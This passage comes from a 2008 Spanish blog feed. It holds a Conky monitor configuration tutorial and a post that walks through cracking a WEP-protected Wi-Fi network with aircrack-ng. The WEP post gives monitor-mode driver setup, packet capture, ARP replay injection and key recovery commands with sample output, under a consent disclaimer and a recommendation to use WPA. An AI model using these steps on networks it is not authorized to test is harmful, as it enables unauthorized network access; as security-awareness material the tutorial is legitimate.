#Margen y tamaño del borde en pixeles
border_margin 1
border_width 1

#Este es el espacio que tendra de margen el conky con respecto a la pantalla, en estas coordenadas tendra el espacio suficiente para aparecer debajo de la barra superior del escritorio, expresado en pixeles
gap_x 20
gap_y 20

#Indicamos el ancho del monitor del conky en pixeles
minimum_size 200
maximum_width 200

#Forzar el uso de UTF8
override_utf8_locale yes

#Si usamos UTF8 es necesario usar xft
use_xft yes

#Indicamos la fuente y tamano a usar en el monitor
xftfont Terminus:size=8

#Trasparencia que tendra el texto XFT
xftalpha 0.8

#Ejecutarlo en su propia ventana en lugar de usar el escritorio (requerido con nautilus)
own_window yes

#Usar transparencia con own_window yes/no
own_window_transparent yes

# Si pusiste yes en own_window, entonces estos hints del gestor de ventana puede ser utilizado
own_window_hints undecorated,below,sticky,skip_taskbar,skip_pager

#Esto es para que se visualize en los demas escritorios, si los usamos
use_spacer yes

double_buffer yes
no_buffers yes
</pre>
<p>Después de la configuración del Conky, sigue una seccion llamada TEXT, todo lo que pongamos después de esta seccion se visualizara en pantalla, desde un texto como hola, hasta un monitor de X servicio de la computadora, empecemos por algo sencillo.</p>
<p>Para esto se usa una serie de variables o mas bien funciones, a las cuales les pasamos ciertos parametros, y como resultado obtenemos un monitor.</p>
<p>Empecemos con esto:</p>
<pre lang="bash">
${time %H:%M:%S}
</pre>
<p>Aqui estamos invocando a la función time, el %H indica las horas el &#8220;:&#8221; lo imprime tal cual después %M minutos y %S segundos. Si no le ponemos ninguna variable de formato tomara los valores declarados por default.</p>
<pre lang="bash">
${color #ffffff}${font Zekton:style=Bold:pixelsize=30}${alignc}${time %H:%M:%S}
</pre>
<p>Aqui estamos dando algo de formato, a la hora,la primera variable indica el color de la fuente a usa en hexadecimal #ffffff se puede sustituir por cualquier otro valor correspondiente a un color</p>
<pre lang="bash">
${color #ffffff}
</pre>
<p>Después indicamos otra fuente, estilo y tamaño a usar</p>
<pre lang="bash">
${font Zekton:style=Bold:pixelsize=30}
</pre>
<p>Y por ultimo le indicamos que la alineación sera centrada (solo existe centrada y derecha ${alignr}).</p>
<pre lang="bash">
${alignc}
</pre>
<p>Y la variable a la que se le asigna todo este formato</p>
<pre lang="bash">
${time %H:%M:%S}
</pre>
<p>Cabe hacer la aclaración que este formato es unicamente para esta linea, todas las variables monitores etc.., que se pongan en ese renglón tendra ese formato, si se pone un renglón abajo y no se indica el formato adoptara los valores por default, por eso se repite el formato, en cada renglón.</p>
<p>La siguiente linea es la de la fecha</p>
<pre lang="bash">
${color #FFCC66}${font Zekton:style=Bold:pixelsize=12}${alignc}${time %A %d de %B}
</pre>
<p>Como se daran cuenta se repite la sección del formato que se le dará a esta variable, color, fuente, estilo, tamaño y alineación.</p>
<p>El %A indica el dia de la semana %d el dia en fecha, &#8220;de&#8221; se imprime tal cual en pantalla, y %B es el mes.</p>
<p>La siguiente linea es la que ejecuta el script conditions.sh y pogodynka.sh que si han el tutorial debería estar en la carpeta scripts dentro de la carpeta personal en home.</p>
<pre lang="bash">
${color #33CCFF}${font weather:size=60}${execi 600 ~/scripts/conditions.sh}${alignc}${font}${execi 1200 ~/scripts/pogodynka.sh}
</pre>
<p>Esta variable execi indica que se ejecutara un script con pid # en la ruta tal donde  ~ es un alias para la ruta del directorio personal, por lo que no hay que cambiarlo</p>
<pre lang="bash">
${execi 600 ~/scripts/conditions.sh}

${execi 1200 ~/scripts/pogodynka.sh} 
</pre>
<p>La siguiente linea sigue el mismo esquema que las anteriores, la variable $uptime indica el tiempo que la computadora ha esto encendida.</p>
<pre lang="bash">
${color}${font StyleBats:size=14}O ${font}${color #0077ff}Encendido: ${color }$uptime
</pre>
<p>La siguiente linea hace referencia a la variable $kernel que nos da la información del kernel que estamos usando</p>
<pre lang="bash">
${color }${font StyleBats:size=14}Q ${font}${color #0077ff}Kernel:${color }$kernel
</pre>
<p>La siguiente  variable nos dará el porcentaje del uso del cpuX donde X puede ser desde 0 hasta el n procesador que tenga su micro en el ejemplo se tienen 3 procesadores por eso se repite las mismas lineas y cambia a cpu0,cpu1,cpu2,</p>
<pre lang="bash">
${color}${font StyleBats:size=14}A ${font}${color #00FF99}CPU-1:${color } ${cpu cpu0}%
</pre>
<p>La siguiente linea nos dibujara una gráfica de barra del uso del cpuX igual que la linea anterior hay que indicar cual es el numero del cpu del cual queremos la grafica,  el siguiente numero (20) es el ancho después el (200)  la longitud de la barra, por ultimo se indica un degradado de color para esto se indica en que color inicia (ff0000) y en que color termina (0000ff) estos colores serán en hexadecimal .</p>
<pre lang="bash">
${cpugraph cpu0 20,200 ff0000 0000ff}
</pre>
<p>Las siguientes lineas indican los tres  procesos principales que se están ejecutando, la variable ${top name 1} indica el nombre del proceso 1 y la variable ${top cpu 1} el uso que esta haciendo del cpu dicho proceso, y así consecutivamente.</p>
<pre lang="bash">
${color #ddaa00} ${top name 1}${top cpu 1}
${color lightgrey} ${top name 2}${top cpu 2}
${color lightgrey} ${top name 3}${top cpu 3}
</pre>
<p>Al igual que el Top Cpu  el Top Mem hace lo mismo solo que con los procesos y su uso de la memoria</p>
<pre lang="bash">
${color #ddaa00} ${top_mem name 1}${top_mem mem 1}
${color lightgrey} ${top_mem name 2}${top_mem mem 2}
${color lightgrey} ${top_mem name 3}${top_mem mem 3}
</pre>
<p>La siguiente linea usa dos variables que nos indica el uso de la memoria, la variable $memperc% nos da el porcentaje del uso de la memoria y la variable  $mem/$memmax dos da el uso de la memoria contra el total de memoria disponible</p>
<pre lang="bash">
${color #0077ff}MEM:  ${color } $memperc% $mem/$memmax
</pre>
<p>La siguiente line dibuja una grafica del uso de la memoria como parametro solo recibe el ancho y lago de la barra</p>
<pre lang="bash">
${membar 4,200}
</pre>
<p>La siguiente linea usa dos variables que nos indica el uso de la memoria swap,  la variable $swapperc% nos da el porcentaje del uso de la memoria swap usada y la variable  $swap/$swapmax dos da el uso de la memoria contra el total de memoria swap disponible.</p>
<pre lang="bash">
${color #0077ff}SWAP: ${color } $swapperc% $swap/$swapmax
</pre>
<p>La siguiente linea al igual que la de memoria dibuja una grafiaca de barra con el ancho y largo indicado</p>
<pre lang="bash">
${swapbar 4,200}
</pre>
<p>La siguientes lineas dan la información de espacio en disco La variable ${fs_free /} indica el espacio disponible en disco duro, la variable ${fs_size /} indica en cantidades el espacio usado y el disponible de todo el disco duro o el sistema de archivos usado.</p>
<pre lang="bash">
${color #0077ff}ROOT:  ${color }${fs_free /}/${fs_size /}
</pre>
<p>La siguiente linea solo dibuja una grafia de barra del uso del sistema de archivos o D.D. del tamaño y largo indicado</p>
<pre lang="bash">
${fs_bar 4,200 /}
</pre>
<p>Las siguientes lineas siguientes indican como la linea anterior el espacio disponible en otros discos duros, estos discos deben de estar montados y la diferencia es que hay que indicar el directorio en donde se han montado los discos duros, en este casso hay dos discos duros sda1 y sda5</p>
<p>La variable  ${fs_free /media/sda1} indica el espacio disponible en dicho disco, montado en dicha dirección en este caso el directorio donde se monto fue /media/sda1</p>
<p>La variable ${fs_bar 4,200 /media/sda1} dibuja una grafica de barra del espacio en disco obviamente indicandole la ruta donde se monto</p>
<pre lang="bash">
${color #0077ff}SDA1:  ${color }${fs_free /media/sda1}/${fs_size /media/sda1}
${fs_bar 4,200 /media/sda1}
${color #0077ff}SDA5:  ${color }${fs_free /media/sda5}/${fs_size /media/sda5}
${fs_bar 4,200 /media/sda5}
</pre>
<p>La siguiente linea indica la  dirección Ip de la interfaz de red deseada la variable ${addr eth1} es la que regresa la dirección ip de la interfaz de red eth1 la cual se puede cambiar por cualquiera que este disponible en este caso eth1 es la tarjeta de red wireless</p>
<pre lang="bash">
${color #0077ff}WIFI: ${color #888888}IP: ${color #CCCCCC}${addr eth1}
</pre>
<p>La siguiente linea da el porcentaje de la potencia de la señal y una grafica de la misma donde la variable ${wireless_link_qual_perc eth1} nos indica el porcentaje y ${wireless_link_bar 4 eth1} la grafica de la señal de la tarjeta eth1, para saber las interfases de red disponibles usar el comando iwconfig para tarjetas wireless y ifconfig para tarjetas ethernet</p>
<pre lang="bash">
${color #0077ff}Senal: ${color }${wireless_link_qual_perc eth1} ${wireless_link_bar 4 eth1}
</pre>
<p>La siguiente linea nos da la velocidad de subida y descarga de nuestra interfaz de red en kb la variable ${downspeed eth1} nos indica la velocidad de descarga y ${upspeed eth1} la velocidad de subida de la tarjeta de red eth1</p>
<pre lang="bash">
${color #0077ff}DOWN: ${color #CCCCCC}${downspeed eth1} k/s          ${color #0077ff}UP: ${color #CCCCCC}${upspeed eth1} k/s
</pre>
<p>La siguiente linea dibuja dos gráficas que indican la velocidad de descarga  y subida la variable ${downspeedgraph eth1 25,90 ff0000 0000ff} hace la grafica eth1 es la tarjeta de red que monitorea 25 y 90 son el ancho y alto de la grafica y ff0000 0000ff el color inicial y final con el que se dibujara la grafica, de la misma manera para ${upspeedgraph eth1 25,90 0000ff ff0000}</p>
<pre lang="bash">
${color #888888}${downspeedgraph eth1 25,90 ff0000 0000ff}${alignr}${color #888888}${upspeedgraph eth1 25,90 0000ff ff0000}
</pre>
<p>La ultima linea nos indicara el total en Mb de datos enviados y recibidos la variable ${totaldown eth1} es la que indicara el total de datos descargados de la tarjeta de red eth1 y la variable  ${totalup eth1} para los datos enviados.</p>
<pre lang="bash">
${color #0077ff}TOTAL: ${color #CCCCCC}${totaldown eth1}           ${color #0077ff}TOTAL: ${color #CCCCCC}${totalup eth1}
</pre>
<p>Con esto terminamos la descripción del código de configuración del conky existen muchas otras variables de configuración disponibles, aqui se mostraron las mas básicas para poder obtener un monitor vistoso y funcional.</p>
<p>Si desean mas información y variables visiten las siguientes paginas <a href="http://conky.sourceforge.net/variables.html">http://conky.sourceforge.net/variables.html </a>y <a href="http://conky.sourceforge.net/config_settings.html">http://conky.sourceforge.net/config_settings.html</a></p>
<p>Espero haya sido explicito y no muy redundante.</p>
<p>Saludos</p>
]]></content:encoded>
			<wfw:commentRss>http://vive-libre.com/blog/2008/10/10/mini-how-to-de-configuracion-de-conky-el-monitor/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Auditoria de seguridad wireless con ipw3945 ubuntu y aircrack</title>
		<link>http://vive-libre.com/blog/2008/03/06/adutoria-de-seguridad-wireless-con-ipw3945-ubuntu-y-aircrack/</link>
		<comments>http://vive-libre.com/blog/2008/03/06/adutoria-de-seguridad-wireless-con-ipw3945-ubuntu-y-aircrack/#comments</comments>
		<pubDate>Thu, 06 Mar 2008 02:38:33 +0000</pubDate>
		<dc:creator>yovany</dc:creator>
				<category><![CDATA[ALL]]></category>
		<category><![CDATA[CODIGO]]></category>
		<category><![CDATA[MANUALES]]></category>
		<category><![CDATA[UBUNTU]]></category>
		<category><![CDATA[AIRCRACK]]></category>
		<category><![CDATA[AUDITORIA]]></category>
		<category><![CDATA[INTEL]]></category>
		<category><![CDATA[IPW3945]]></category>
		<category><![CDATA[SEGURIDAD]]></category>
		<category><![CDATA[WIRELESS]]></category>

		<guid isPermaLink="false">http://vive-libre.com/blog/?p=117</guid>
		<description><![CDATA[En vista al interes de muchos de mis amigos, en cuanto este tema, vamos a dar una pequeña reseña sobre la inseguridad del cifrado WEP, en las redes wireless. Cabe mencionar que no nos hacemos responsables del mal uso que se le pueda dar a esta informacion y que lo unico que pretendemos es poner ...]]></description>
			<content:encoded><![CDATA[<p>En vista al interes de  muchos de mis amigos, en cuanto este tema, vamos a dar una pequeña reseña sobre la inseguridad del cifrado WEP, en las redes wireless.</p>
<p>Cabe mencionar que no nos hacemos responsables del mal uso que se le pueda dar a esta informacion y que lo unico que pretendemos es poner en evidencia la inseguridad que representa usar el cifrado WEP en las redes wireless, y que las pruebas que podamos efectuar, siempre sea dentro de redes en las cuales tengamos total concentimiento de sus administradores o propietarios, aclarado este punto continuemos con lo que nos interesa.</p>
<p>Esta informacion esta comprobada para las versiones 7.4 y 7.10, cuando instalamos ubuntu en nuestro equipo, por defecto instala la tarjeta de red con el modulo IPW394 (Intel ProWireless 3945 ABG), para poder hacer la auditoria, es necesario poder poner la tarjeta en modo monitor, lo cual no es posible con este modulo, por lo que es necario instalar los modulos IPWRAW</p>
<p>Antes de instalar el ipwraw debemos instalar algunas dependencias, esto lo hacemos de la siguiente forma</p>
<pre lang='bash'>
$ sudo apt-get install - build-essential
$ sudo apt-get install - linux-ubuntu-modules-$(uname -r) linux-restricted-modules-$(uname -r) linux-image-debug-$(uname -r) linux-image-$(uname -r) linux-headers-$(uname -r)
</pre>
<p>Aqui (uname -r), nos sirve para devolver la version del kernel que tenemos instalado, asi no tendremos problemas para instalar los paquetes que requerimos.</p>
<p>Si no hemos tenido ningun error hasta aqui, continuamos con la instalacion de ipwraw</p>
<p>descargamos las fuentes</p>
<pre lang='bash'>
wget http://dl.aircrack-ng.org/drivers/ipwraw-ng-2.3.4-04022008.tar.bz2
</pre>
<p>Descomprimimos el paquete,</p>
<pre lang='bash'>
tar -xjf ipwraw-ng-2.3.4-04022008.tar.bz2
</pre>
<p>Para instalar, nos cambiamos a la carpeta que se acaba de generar, y tecleamos.</p>
<pre lang='bash'>
sudo make
sudo make install
sudo make install_ucode
</pre>
<p>Con esto ya esta instalado el modulo, pero ahora lo agregaremos a la black list, esto para que no lo carge por defecto si no, solo cuando lo necesitemos.</p>
<pre lang='bash'>
echo “blacklist ipwraw” | sudo tee /etc/modprobe.d/ipwraw
sudo depmod -ae
</pre>
<p>Ya tenemos todo listo, para poder usar el ipwraw ahora solo hay desmontar el driver ipw3945 y cargar el ipwraw</p>
<pre lang='bash'>sudo modprobe -r ipw3945

sudo modprobe ipwraw</pre>
<p>Para cargar el ipw3945, hacemos lo mismo, pero al contrario.</p>
<pre lang='bash'>sudo modprobe -r ipwraw

sudo modprobe ipw3945</pre>
<p>Despues de montar y desmontar los driver&#8217;s hay que esperar un poco para que se efectuen los cambios.</p>
<p>Para comprobar, que esten funcionando, tecleamos lo siguiente.</p>
<pre lang='bash'>iwconfig</pre>
<p>Y devemos obtener algo como esto.</p>
<pre lang='bash'>lo        no wireless extensions.

eth0      no wireless extensions.

vmnet1    no wireless extensions.

vmnet8    no wireless extensions.

eth1      unassociated  ESSID:off/any
Mode:Monitor  Channel=1  Bit Rate=54 Mb/s

rtap0     no wireless extensions.
</pre>
<p>Tal vez puedas obtener wifi0 en lugar de eth1</p>
<p>Para efectuar la auditoria necesitaremos la suite aircrack si no la tenemos instalada lo hacemos con esto.</p>
<pre lang='bash'> sudo apt-get install aircrack-ng</pre>
<p>Listo, ahora empezaremos por averiguar cuales son los acces points accesibles</p>
<pre lang='bash'>airodump-ng rtap0</pre>
<p>Y deberiamos obtener algo parecido a esto.</p>
<pre lang='bash'> CH  0 ][ Elapsed: 8 s ][ 2008-03-05 21:01

BSSID              PWR  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

XX:XX:XX:XX:XX:XX    0       86        9    0   1  54. WEP  WEP         MAGI

BSSID              STATION            PWR  Lost  Packets  Probes</pre>
<p>Al identificar nustro objetivo debemos ejecutar el siguiente <a href="http://www.vive-libre.com/blog/etc/script.sh">script</a> para poder inyectar trafico.</p>
<p>Veremos algo asi</p>
<pre lang='bash'>“Indica el canal para eth1 o wifi0?
1
“Indica el rate de captura por defecto debe ser 2”
2
“Indica el bssid objetivo”
XX:XX:XX:XX:XX:XX
“Configuracion completada, listo par inyectar” </pre>
<p>Empezamos a capturar los paquetes con el airodump-bg</p>
<pre lang='bash'>airodump-ng -c CANAL -w FICHERO rtap0 </pre>
<p>Y deberiamos obteneralgo asi</p>
<pre lang='bash'>CH  1 ][ BAT: 1 hour 38 mins ][ Elapsed: 48 s ][ 2008-03-05 21:34

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

XX:XX:XX:XX:XX:XX    0 100      467       47    0   1  54. WEP  WEP         MAGI

BSSID              STATION            PWR  Lost  Packets  Probes</pre>
<p>Para poder inyectar necesitamos asociarnos con el acces point.</p>
<pre lang='bash'>aireplay-ng -1 0 -e ESSID -a MAC_PUNTODEACCESO -h NUESTRAMAC eth1</pre>
<pre lang='bash'>21:52:30  Waiting for beacon frame (BSSID: XX:XX:XX:XX:XX:XX)
21:52:30  Sending Authentication Request
21:52:30  Authentication successful
21:52:30  Sending Association Request
21:52:32  Association successful :-)
</pre>
<p>Ya que estamos asociados, podemos inyectar para poder generar DATA que son los paquetes que nos interesan</p>
<pre lang='bash'>aireplay-ng -3 -b MAC_PUNTODEACCESO -h -h NUESTRAMAC eth1</pre>
<p>En unos cuantos segundos podemos ver como genero unos miles de DATA</p>
<pre lang='bash'>Saving ARP requests in replay_arp-0305-215511.cap
You should also start airodump-ng to capture replies.
Read 16339 packets (got 8045 ARP requests), sent 8042 packets...(333 pps)</pre>
<p>Esperamos alrededor de 10 min para obtener una buena cantidad de DATA, el tiempo puede variar segun la distancia a la que te encuentres del acces point, no hay una cantidad exacta pero entre 200 300 mil DATA son suficientes segun lo comprobado.</p>
<p>Ahora solo  hay que pasar el fichero por el aircrack</p>
<pre lang='bash'>aircrack-ng FICHERO.cap</pre>
<p>Y listo</p>
<pre lang='bash'>                                                                       Aircrack-ng 0.9

[00:00:01] Tested 1 keys (got 552366 IVs)

KB    depth   byte(vote)
0    0/  1   39( 100) 11(  33) D6(  15) 6C(  13) 6D(  12) 0D(  11) 17(   9) 95(   8) 5D(   5) 76(   5) 93(   5) D0(   5) 00(   4) 0C(   4) 3A(   3)
1    0/  1   93( 100) 03(  37) 06(  31) 83(  19) 19(  13) 39(  12) B3(  12) D4(  12) 02(  11) CC(   8) FD(   7) 6C(   5) 86(   5) D2(   5) 30(   4)
2    0/  1   19( 121) 1B(  15) CE(  12) EB(  12) 2C(   9) 41(   8) 82(   8) CD(   6) 00(   5) 15(   5) 1A(   5) 2B(   5) 34(   5) 39(   5) A2(   5)
3    0/  1   94(  88) 18(  20) 78(  18) D8(  17) 19(  16) D0(  16) 0D(  10) 83(   9) 69(   8) 75(   6) 82(   6) A0(   6) 41(   5) 46(   5) A2(   5)

KEY FOUND! [ 39:93:19:94:35 ]
Decrypted correctly: 100%
</pre>
<p>Todo esto se puede hacer de forma mas simple, con el <a href="http://vive-libre.com/blog/etc/airoway.sh">airoway.sh</a> solo hay que editar la interfas de injecion segun sea nuestro caso, que puede ser wifi0 o eth1</p>
<pre lang='bash'> LISTEN="rtap0"
INJECT="eth1" </pre>
<p>Como podemos ver, el cifrado WEP no es suficiente para la proteccion de nuestra redes wireless, no exponga la integridad de su red, y utilecen WPA.</p>
<p>Espero le haya sido de utilidad.</p>
<p>Referencias:</p>
<p>http://aircrack-ng.org/doku.php?id=ipw3945</p>
<p>http://seguridadwireless.net</p>
]]></content:encoded>
			<wfw:commentRss>http://vive-libre.com/blog/2008/03/06/adutoria-de-seguridad-wireless-con-ipw3945-ubuntu-y-aircrack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

